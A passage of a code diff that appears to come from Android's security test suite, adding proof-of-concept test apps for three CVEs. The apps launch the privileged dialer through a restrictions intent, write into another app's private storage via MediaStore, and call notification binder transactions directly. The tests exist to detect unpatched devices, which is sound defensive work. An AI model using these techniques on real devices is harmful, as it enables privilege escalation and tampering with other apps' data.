+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+
+ Icon createNotificationIcon() {
+ Resources resources = getResources();
+ Bitmap testBitmap = Bitmap.createBitmap(
+ resources.getInteger(R.integer.width),
+ resources.getInteger(R.integer.height),
+ Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(testBitmap);
+ canvas.drawColor(Color.BLUE);
+ return Icon.createWithBitmap(testBitmap);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
similarity index 94%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
index 09297b2..517619a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2021-39707",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -31,9 +31,9 @@
"sts",
],
static_libs: [
- "androidx.test.core",
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
new file mode 100644
index 0000000..bfb3943
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39707">
+ <application android:label="@string/testAppLabel">
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+ </intent-filter>
+ </receiver>
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.CALL_PRIVILEGED" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:scheme="tel" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39707" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
new file mode 100644
index 0000000..902f48c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="defaultSettingsPkgName">com.android.settings</string>
+ <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string>
+ <string name="testAppLabel">CVE-2021-39707</string>
+ <string name="testFailMsg">Device is vulnerable to b/200688991!!</string>
+ <string name="textAppContentAccess">App & content access</string>
+ <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string>
+ <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string>
+ <string name="uriData">tel:555-TEST</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
new file mode 100644
index 0000000..db3acb0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testAppRestrictionsFragment() {
+ try {
+ /* Start the "User Settings" window */
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ Context context = getApplicationContext();
+ context.startActivity(intent);
+ String settingsPkgName =
+ intent.resolveActivity(context.getPackageManager()).getPackageName();
+ settingsPkgName =
+ (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName)
+ : settingsPkgName;
+
+ /*
+ * Click on the text "CVE_2021_39707_RestrictedUser", the restricted user that we added
+ * before
+ */
+ final int uiTimeoutMs = 5000;
+ String textRestrictedUser = context.getString(R.string.textRestrictedUser);
+ BySelector selector = By.text(textRestrictedUser);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /* Click on the text "App & content access" */
+ String textAppContentAccess = context.getString(R.string.textAppContentAccess);
+ selector = By.text(textAppContentAccess);
+ assumeTrue(context.getString(R.string.timedOutMsg, textAppContentAccess),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /*
+ * Click on the icon with resource name
+ * "com.android.settings:id/app_restrictions_settings" next to the test app
+ * "CVE-2021-39707"
+ */
+ UiScrollable scrollable = new UiScrollable(new UiSelector());
+ String textTestApp = context.getString(R.string.testAppLabel);
+ scrollable.scrollTextIntoView(textTestApp);
+ selector = By.text(textTestApp);
+ assumeTrue(context.getString(R.string.timedOutMsg, textTestApp),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ UiObject2 parent = device.findObject(selector).getParent().getParent().getParent();
+ selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName));
+ parent.findObject(selector).click();
+
+ /*
+ * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen
+ * which indicates vulnerable behaviour
+ */
+ TelecomManager telecomManager = context.getSystemService(TelecomManager.class);
+ selector = By.pkg(telecomManager.getSystemDialerPackage());
+ assertFalse(context.getString(R.string.testFailMsg),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
similarity index 69%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
index 1a335c7..92645c4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
@@ -14,9 +14,12 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_39707;
import android.app.Activity;
+// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED"
+// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at
+// least one activity other than the "PrivilegedCallActivity".
public class PocActivity extends Activity {
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
new file mode 100644
index 0000000..6d4caae
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ Bundle result = new Bundle();
+ Intent dialIntent = new Intent();
+ dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+ dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ setResultExtras(result);
+ } catch (Exception e) {
+ // ignore all exceptions, in the worst case, any exception caught here indicates that
+ // setting extra intent was unsuccessful, so test will pass in the worst case.
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
similarity index 78%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
index 09297b2..ade2215 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
@@ -3,16 +3,15 @@
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
+ * You may obtain a copy of the License at
*
- * http://www.apache.org/licenses/LICENSE-2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
@@ -20,9 +19,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2021-39795",
defaults: [
- "cts_defaults",
+ "cts_support_defaults"
],
srcs: [
"src/**/*.java",
@@ -31,9 +30,7 @@
"sts",
],
static_libs: [
- "androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
- platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
new file mode 100644
index 0000000..cb42aed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39795">
+ <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39795" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
new file mode 100644
index 0000000..19ea461
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="filePath">Android/data/CVE-2021-39795-dir/</string>
+ <string name="fileContent">Bypassed by MediaProvider</string>
+ <string name="fileName">CVE-2021-39795-file</string>
+ <string name="external">external</string>
+ <string name="secondFixFailure">Second Fix Patch not applied.
+ Please Apply second Fix Patch!!</string>
+ <string name="fileUtilPkg">com.android.providers.media.util.FileUtils</string>
+ <string name="isDataOrObbPathMethod">isDataOrObbPath</string>
+ <string name="mediaProviderPkg">com.android.providers.media.module</string>
+ <string name="sampleFilePath">/storage/emulated/0/Android/data/foo</string>
+ <string name="failure">Device vulnerable to b/201667614! Any app with
+ MANAGE_EXTERNAL_STORAGE permission can write into other apps private
+ external directory.</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
new file mode 100644
index 0000000..8d3ff0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39795;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.Context;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.res.Resources;
+import android.provider.MediaStore;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testFilePresence() {
+ boolean isSecondPatchAbsent = false;
+ Resources resources = null;
+ OutputStream outputStream = null;
+ try {
+ // Accessing FileUtils.isDataOrObbPath() to detect the presence of second patch of fix.
+ Context context = getApplicationContext();
+ resources = context.getResources();
+ Context mediaProviderContext =
+ context.createPackageContext(resources.getString(R.string.mediaProviderPkg),
+ Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+ ClassLoader fileUtilsClassLoader = mediaProviderContext.getClassLoader();
+ Class<?> FileUtilsClass =
+ fileUtilsClassLoader.loadClass(resources.getString(R.string.fileUtilPkg));
+ Method isDataOrObbPathMethod = FileUtilsClass.getDeclaredMethod(
+ resources.getString(R.string.isDataOrObbPathMethod), String.class);
+ isDataOrObbPathMethod.setAccessible(true);
+ isSecondPatchAbsent = (boolean) isDataOrObbPathMethod.invoke(this,
+ resources.getString(R.string.sampleFilePath));
+
+ // Checking write into external directory.
+ ContentValues values = new ContentValues();
+ ContentResolver contentResolver = context.getContentResolver();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ resources.getString(R.string.filePath));
+ values.put(MediaStore.MediaColumns.DISPLAY_NAME,
+ resources.getString(R.string.fileName));
+ outputStream = contentResolver.openOutputStream(contentResolver.insert(
+ MediaStore.Files.getContentUri(resources.getString(R.string.external)),
+ values));
+ outputStream.write(resources.getString(R.string.fileContent).getBytes());
+
+ /*
+ * If control flow has reached till this point it means no exception anywhere and fix is
+ * not present and it is vulnerable to the bug.
+ */
+ fail(resources.getString(R.string.failure));
+ } catch (IllegalArgumentException e) {
+ // First fix patch is applied, ignore this exception.
+ if (isSecondPatchAbsent) {
+ // Fail the test as Latest Fix Patch is not applied
+ fail(resources.getString(R.string.secondFixFailure));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ outputStream.close();
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
similarity index 90%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
index 09297b2..13a86e3 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2021-39808",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -33,7 +33,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
new file mode 100644
index 0000000..0394d6c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39808">
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <application>
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39808" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
new file mode 100644
index 0000000..8e7d104
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="assumptionFailure">4</integer>
+ <integer name="fail">2</integer>
+ <integer name="falseVal">-1</integer>
+ <integer name="height">50</integer>
+ <integer name="pass">3</integer>
+ <integer name="setFlag">1</integer>
+ <integer name="timeoutMs">10000</integer>
+ <integer name="value">0</integer>
+ <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
new file mode 100644
index 0000000..f4fb741
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="assumptionFailure">Assumption failure occurred</string>
+ <string name="errorNoMethodFound">No method found</string>
+ <string name="errorTargetMethodNotFound">Target method not found</string>
+ <string name="flag">flag</string>
+ <string name="functionName">createNotificationChannelGroups</string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="illegalCode">Illegal Code</string>
+ <string name="messageKey">MESSAGE</string>
+ <string name="resultKey">RESULT</string>
+ <string name="message">message</string>
+ <string name="notification">notification</string>
+ <string name="passMessage">Passed</string>
+ <string name="sharedPreference">CVE_2021_39808</string>
+ <string name="vulnerableMessage">
+ Vulnerable to b/209966086!! Foreground service ran without user notification
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
new file mode 100644
index 0000000..a32638d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testService() {
+ try {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocService.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startService(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
new file mode 100644
index 0000000..73b0df4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import android.app.INotificationManager;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.ServiceManager;
+import android.text.TextUtils;
+
+import java.lang.reflect.Method;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ super.onCreate();
+ setResult(getResources().getInteger(R.integer.fail),
+ getResources().getString(R.string.vulnerableMessage));
+ createNotificationGroup();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void createNotificationGroup() throws Exception {
+ IBinder binder = ServiceManager
+ .getService(getResources().getString(R.string.notification));
+ int serviceId = getTransactionCode(
+ getResources().getString(R.string.functionName));
+ if (serviceId == -1) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorNoMethodFound));
+ return;
+ } else if (serviceId == -2) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorTargetMethodNotFound));
+ return;
+ }
+ createNotificationGroup(binder, serviceId);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(
+ NOTIFICATION_SERVICE);
+ NotificationChannelGroup notificationChannelGroup = notificationManager
+ .getNotificationChannelGroup(
+ getResources().getString(R.string.groupId));
+ if (!notificationChannelGroup.isBlocked()) {
+ setResult(getResources().getInteger(R.integer.pass),
